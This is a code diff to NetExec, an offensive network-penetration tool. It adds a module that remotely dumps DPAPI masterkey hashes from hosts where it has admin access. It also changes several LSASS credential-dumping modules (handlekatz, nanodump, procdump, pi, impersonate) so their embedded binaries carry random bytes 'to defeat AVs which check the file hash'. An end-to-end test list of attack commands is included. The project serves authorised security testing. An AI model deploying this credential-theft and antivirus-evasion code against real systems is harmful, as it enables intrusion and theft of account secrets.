diff --git a/nxc/cli.py b/nxc/cli.py index a8a818f5b..582dc4537 100755 --- a/nxc/cli.py +++ b/nxc/cli.py @@ -103,8 +103,8 @@ def gen_cli_args(): certificate_group.add_argument("--pfx-cert", metavar="PFXCERT", help="Use certificate authentication from pfx file .pfx") certificate_group.add_argument("--pfx-base64", metavar="PFXB64", help="Use certificate authentication from pfx file encoded in base64") certificate_group.add_argument("--pfx-pass", metavar="PFXPASS", help="Password of the pfx certificate") - certificate_group.add_argument("--cert-pem", metavar="CERTPEM", help="Use certificate authentication from PEM file") - certificate_group.add_argument("--key-pem", metavar="KEYPEM", help="Private key for the PEM format") + certificate_group.add_argument("--pem-cert", metavar="PEMCERT", help="Use certificate authentication from PEM file") + certificate_group.add_argument("--pem-key", metavar="PEMKEY", help="Private key for the PEM format") server_group = std_parser.add_argument_group("Servers", "Options for nxc servers") server_group.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server") diff --git a/nxc/connection.py b/nxc/connection.py index 3beb84fd6..3c9b08430 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -550,7 +550,7 @@ def login(self): self.logger.info("Successfully authenticated using Kerberos cache") return True - if self.args.pfx_cert or self.args.pfx_base64 or self.args.cert_pem: + if self.args.pfx_cert or self.args.pfx_base64 or self.args.pem_cert: self.logger.debug("Trying to authenticate using Certificate pfx") if not self.args.username: self.logger.fail("You must specify a username when using certificate authentication") diff --git a/nxc/helpers/pfx.py b/nxc/helpers/pfx.py index 4d084468a..769f51235 100644 --- a/nxc/helpers/pfx.py +++ b/nxc/helpers/pfx.py @@ -496,8 +496,8 @@ def pfx_auth(self): if self.args.pfx_cert or self.args.pfx_base64: pfx = self.args.pfx_cert if self.args.pfx_cert else self.args.pfx_base64 ini = myPKINIT.from_pfx(pfx, self.args.pfx_pass, dhparams, bool(self.args.pfx_base64)) - elif self.args.cert_pem and self.args.key_pem: - ini = myPKINIT.from_pem(self.args.cert_pem, self.args.key_pem, dhparams) + elif self.args.pem_cert and self.args.pem_key: + ini = myPKINIT.from_pem(self.args.pem_cert, self.args.pem_key, dhparams) else: self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file") return None diff --git a/nxc/modules/dpapi_hash.py b/nxc/modules/dpapi_hash.py new file mode 100644 index 000000000..070121f68 --- /dev/null +++ b/nxc/modules/dpapi_hash.py @@ -0,0 +1,63 @@ +from dploot.lib.target import Target +from dploot.triage.masterkeys import MasterkeysTriage + +from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection + +# Based on dpapimk2john, original work by @fist0urs + +class NXCModule: + name = "dpapi_hash" + description = "Remotely dump Dpapi hash based on masterkeys" + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = True + + def options(self, context, module_options): + """OUTPUTFILE Output file to write hashes""" + self.outputfile = None + if "OUTPUTFILE" in module_options: + self.outputfile = module_options["OUTPUTFILE"] + + def on_admin_login(self, context, connection): + username = connection.username + password = getattr(connection, "password", "") + nthash = getattr(connection, "nthash", "") + + target = Target.create( + domain=connection.domain, + username=username, + password=password, + target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain, + lmhash=getattr(connection, "lmhash", ""), + nthash=nthash, + do_kerberos=connection.kerberos, + aesKey=connection.aesKey, + no_pass=True, + use_kcache=getattr(connection, "use_kcache", False), + ) + + conn = upgrade_to_dploot_connection(connection=connection.conn, target=target) + if conn is None: + context.log.debug("Could not upgrade connection") + return + + try: + context.log.display("Collecting DPAPI masterkeys, grab a coffee and be patient...") + masterkeys_triage = MasterkeysTriage( + target=target, + conn=conn, + ) + context.log.debug(f"Masterkeys Triage: {masterkeys_triage}") + context.log.debug("Collecting user masterkeys") + masterkeys_triage.triage_masterkeys() + if self.outputfile is not None: + with open(self.outputfile, "a+") as fd: + for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]: + context.log.highlight(mkhash) + fd.write(f"{mkhash}\n") + else: + for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]: + context.log.highlight(mkhash) + + except Exception as e: + context.log.debug(f"Could not get masterkeys: {e}") \ No newline at end of file diff --git a/nxc/modules/handlekatz.py b/nxc/modules/handlekatz.py index 7aa7ab7c8..ba598cafc 100644 --- a/nxc/modules/handlekatz.py +++ b/nxc/modules/handlekatz.py @@ -5,7 +5,7 @@ import base64 import re import sys - +from datetime import datetime from nxc.helpers.bloodhound import add_user_bh from pypykatz.pypykatz import pypykatz @@ -34,6 +34,8 @@ def options(self, context, module_options): self.handlekatz_path = "/tmp/" self.dir_result = self.handlekatz_path self.useembeded = True + # Add some random binary data to defeat AVs which check the file hash + self.handlekatz_embeded += datetime.now().strftime("%Y%m%d%H%M%S").encode() if "HANDLEKATZ_PATH" in module_options: self.handlekatz_path = module_options["HANDLEKATZ_PATH"] @@ -50,7 +52,7 @@ def options(self, context, module_options): def on_admin_login(self, context, connection): handlekatz_loc = self.handlekatz_path + self.handlekatz - + if self.useembeded: try: with open(handlekatz_loc, "wb") as handlekatz: @@ -78,6 +80,7 @@ def on_admin_login(self, context, connection): if not p or p == "None": context.log.fail("Failed to execute command to get LSASS PID") + self.delete_handlekatz_binary(connection, context) return # we get a CSV string back from `tasklist`, so we grab the PID from it pid = p.split(",")[1][1:-1] @@ -96,12 +99,15 @@ def on_admin_login(self, context, connection): context.log.fail("Process lsass.exe error un dump, try with verbose") dump = False - if dump: + if not dump: + self.delete_handlekatz_binary(connection, context) + return + else: regex = r"([A-Za-z0-9-]*\.log)" matches = re.search(regex, str(p), re.MULTILINE) if not matches: context.log.display("Error getting the lsass.dmp file name") - sys.exit(1) + return machine_name = matches.group() context.log.display(f"Copy {machine_name} to host") @@ -113,12 +119,7 @@ def on_admin_login(self, context, connection): except Exception as e: context.log.fail(f"Error while get file: {e}") - try: - connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz) - context.log.success(f"Deleted handlekatz file on the {self.share} share") - except Exception as e: - context.log.fail(f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}") - + self.delete_handlekatz_binary() try: connection.conn.deleteFile(self.share, self.tmp_share + machine_name) context.log.success(f"Deleted lsass.dmp file on the {self.share} share") @@ -182,3 +183,10 @@ def on_admin_login(self, context, connection): add_user_bh(credz_bh, None, context.log, connection.config) except Exception as e: context.log.fail(f"Error opening dump file: {e}") + + def delete_handlekatz_binary(self, connection, context): + try: + connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz) + context.log.success(f"Deleted handlekatz file on the {self.share} share") + except Exception as e: + context.log.fail(f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}") diff --git a/nxc/modules/impersonate.py b/nxc/modules/impersonate.py index 210a8225b..15dbfe5a3 100644 --- a/nxc/modules/impersonate.py +++ b/nxc/modules/impersonate.py @@ -6,7 +6,7 @@ from base64 import b64decode from os import path import sys - +from datetime import datetime from nxc.paths import DATA_PATH @@ -29,8 +29,13 @@ def options(self, context, module_options): self.impersonate = "Impersonate.exe" self.useembeded = True self.token = self.cmd = "" + with open(path.join(DATA_PATH, ("impersonate_module/impersonate.bs64"))) as impersonate_file: self.impersonate_embedded = b64decode(impersonate_file.read()) + + # Add some random binary data to defeat AVs which check the file hash + self.impersonate_embedded += datetime.now().strftime("%Y%m%d%H%M%S").encode() + if "EXEC" in module_options: self.cmd = module_options["EXEC"] diff --git a/nxc/modules/nanodump.py b/nxc/modules/nanodump.py index 5dc1ec2db..219552893 100644 --- a/nxc/modules/nanodump.py +++ b/nxc/modules/nanodump.py @@ -51,6 +51,10 @@ def options(self, context, module_options): self.nano = "nano.exe" self.nano_path = "" self.useembeded = True + # Add some random binary data to defeat AVs which check the file hash + padding = datetime.now().strftime("%Y%m%d%H%M%S").encode() + self.nano_embedded64 += padding + self.nano_embedded32 += padding if "NANO_PATH" in module_options: self.nano_path = module_options["NANO_PATH"] @@ -149,7 +153,10 @@ def on_admin_login(self, context, connection): self.context.log.fail("Process lsass.exe error on dump, try with verbose") dump = False - if dump: + if not dump: + self.delete_nanodump_binary() + return + else: self.context.log.display(f"Copying {nano_log_name} to host") filename = os.path.join(self.dir_result, f"{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log") if self.context.protocol == "smb": diff --git a/nxc/modules/pi.py b/nxc/modules/pi.py index 521dd429c..3be8b74e8 100644 --- a/nxc/modules/pi.py +++ b/nxc/modules/pi.py @@ -1,7 +1,7 @@ from base64 import b64decode from sys import exit from os.path import abspath, join, isfile - +from datetime import datetime from nxc.paths import DATA_PATH, TMP_PATH @@ -25,9 +25,13 @@ def options(self, context, module_options): self.pi = "pi.exe" self.useembeded = True self.pid = self.cmd = "" + with open(join(DATA_PATH, ("pi_module/pi.bs64"))) as pi_file: self.pi_embedded = b64decode(pi_file.read()) + # Add some random binary data to defeat AVs which check the file hash + self.pi_embedded += datetime.now().strftime("%Y%m%d%H%M%S").encode() + if "EXEC" in module_options: self.cmd = module_options["EXEC"] diff --git a/nxc/modules/procdump.py b/nxc/modules/procdump.py index 6432481ba..024c94384 100644 --- a/nxc/modules/procdump.py +++ b/nxc/modules/procdump.py @@ -4,11 +4,11 @@ import base64 import re -import sys import pypykatz from nxc.helpers.bloodhound import add_user_bh from nxc.paths import TMP_PATH from os.path import abspath, join +from datetime import datetime class NXCModule: @@ -35,6 +35,8 @@ def options(self, context, module_options): self.procdump_path = abspath(TMP_PATH) self.dir_result = self.procdump_path self.useembeded = True + # Add some random binary data to defeat AVs which check the file hash + self.procdump_embeded += datetime.now().strftime("%Y%m%d%H%M%S").encode() if "PROCDUMP_PATH" in module_options: self.procdump_path = module_options["PROCDUMP_PATH"] @@ -79,7 +81,10 @@ def on_admin_login(self, context, connection): else: context.log.fail("Process lsass.exe error un dump, try with verbose") - if dump: + if not dump: + self.delete_procdump_binary(connection, context) + return + else: regex = r"([A-Za-z0-9-]*.dmp)" matches = re.search(regex, str(p), re.MULTILINE) machine_name = "" @@ -87,7 +92,7 @@ def on_admin_login(self, context, connection): machine_name = matches.group() else: context.log.display("Error getting the lsass.dmp file name") - sys.exit(1) + return context.log.display(f"Copy {machine_name} to host") @@ -98,11 +103,7 @@ def on_admin_login(self, context, connection): except Exception as e: context.log.fail(f"Error while get file: {e}") - try: - connection.conn.deleteFile(self.share, self.tmp_share + self.procdump) - context.log.success(f"Deleted procdump file on the {self.share} share") - except Exception as e: - context.log.fail(f"Error deleting procdump file on share {self.share}: {e}") + self.delete_procdump_binary(connection, context) try: connection.conn.deleteFile(self.share, self.tmp_share + machine_name) @@ -152,3 +153,10 @@ def on_admin_login(self, context, connection): add_user_bh(credz_bh, None, context.log, connection.config) except Exception as e: context.log.fail("Error openning dump file", str(e)) + + def delete_procdump_binary(self, connection, context): + try: + connection.conn.deleteFile(self.share, self.tmp_share + self.procdump) + context.log.success(f"Deleted procdump file on the {self.share} share") + except Exception as e: + context.log.fail(f"Error deleting procdump file on share {self.share}: {e}") diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index e77a23f31..1bde176d3 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -590,6 +590,9 @@ def check_if_admin(self): for attribute in item["attributes"]: if str(attribute["type"]) == "distinguishedName": answers.append(str("(memberOf:1.2.840.113556.1.4.1941:=" + attribute["vals"][0] + ")")) + if len(answers) == 0: + self.logger.debug("No groups with default privileged RID were found. Assuming user is not a Domain Administrator.") + return # 3. get member of these groups search_filter = "(&(objectCategory=user)(sAMAccountName=" + self.username + ")(|" + "".join(answers) + "))" diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index d220281e8..d4832cf10 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -319,7 +319,7 @@ def print_host_info(self): smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"]) self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1})") - if self.args.generate_hosts_file: + if self.args.generate_hosts_file or self.args.generate_krb5_file: from impacket.dcerpc.v5 import nrpc, epm self.logger.debug("Performing authentication attempts...") isdc = False @@ -329,9 +329,31 @@ def print_host_info(self): except DCERPCException: self.logger.debug("Error while connecting to host: DCERPCException, which means this is probably not a DC!") - with open(self.args.generate_hosts_file, "a+") as host_file: - host_file.write(f"{self.host} {self.hostname} {self.hostname}.{self.targetDomain} {self.targetDomain if isdc else ''}\n") - self.logger.debug(f"{self.host} {self.hostname} {self.hostname}.{self.targetDomain} {self.targetDomain if isdc else ''}") + if self.args.generate_hosts_file: + with open(self.args.generate_hosts_file, "a+") as host_file: + host_file.write(f"{self.host} {self.hostname} {self.hostname}.{self.targetDomain} {self.targetDomain if isdc else ''}\n") + self.logger.debug(f"{self.host} {self.hostname} {self.hostname}.{self.targetDomain} {self.targetDomain if isdc else ''}") + elif self.args.generate_krb5_file and isdc: + with open(self.args.generate_krb5_file, "w+") as host_file: + data = f""" +[libdefaults] + dns_lookup_kdc = false + dns_lookup_realm = false + default_realm = { self.domain.upper() } + +[realms] + { self.domain.upper() } = {{ + kdc = { self.hostname.lower() }.{ self.domain } + admin_server = { self.hostname.lower() }.{ self.domain } + default_domain = { self.domain } + }} + +[domain_realm] + .{ self.domain } = { self.domain.upper() } + { self.domain } = { self.domain.upper() } +""" + host_file.write(data) + self.logger.debug(data) return self.host, self.hostname, self.targetDomain diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index 2b646d99d..6011de8cd 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -21,6 +21,7 @@ def proto_args(parser, parents): smb_parser.add_argument("--smb-timeout", help="SMB connection timeout", type=int, default=2) smb_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentification", nargs="?", const="administrator") smb_parser.add_argument("--generate-hosts-file", type=str, help="Generate a hosts file like from a range of IP") + smb_parser.add_argument("--generate-krb5-file", type=str, help="Generate a krb5 file like from a range of IP") self_delegate_arg.make_required = [delegate_arg] cred_gathering_group = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials") diff --git a/nxc/protocols/smb/smbexec.py b/nxc/protocols/smb/smbexec.py index 8d894f62c..ab043dbf4 100755 --- a/nxc/protocols/smb/smbexec.py +++ b/nxc/protocols/smb/smbexec.py @@ -124,7 +124,10 @@ def execute_remote(self, data): try: self.logger.debug(f"Remote service {self.__serviceName} started.") scmr.hRStartServiceW(self.__scmr, service) + except Exception: + pass + try: self.logger.debug(f"Remote service {self.__serviceName} deleted.") scmr.hRDeleteService(self.__scmr, service) scmr.hRCloseServiceHandle(self.__scmr, service) diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index 0912839de..581cdf80a 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -2,6 +2,7 @@ netexec -h ##### SMB netexec smb TARGET_HOST --generate-hosts-file /tmp/hostsfile +netexec smb TARGET_HOST --generate-krb5-file /tmp/krb5conf netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex netexec {DNS} smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares @@ -65,6 +66,8 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-comp netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" DELETE=True netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M bitlocker +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dpapi_hash +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dpapi_hash -o OUTPUTFILE=hashes.txt netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M drop-sc netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M drop-sc -o CLEANUP=True netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M empire_exec -o LISTENER=http-listener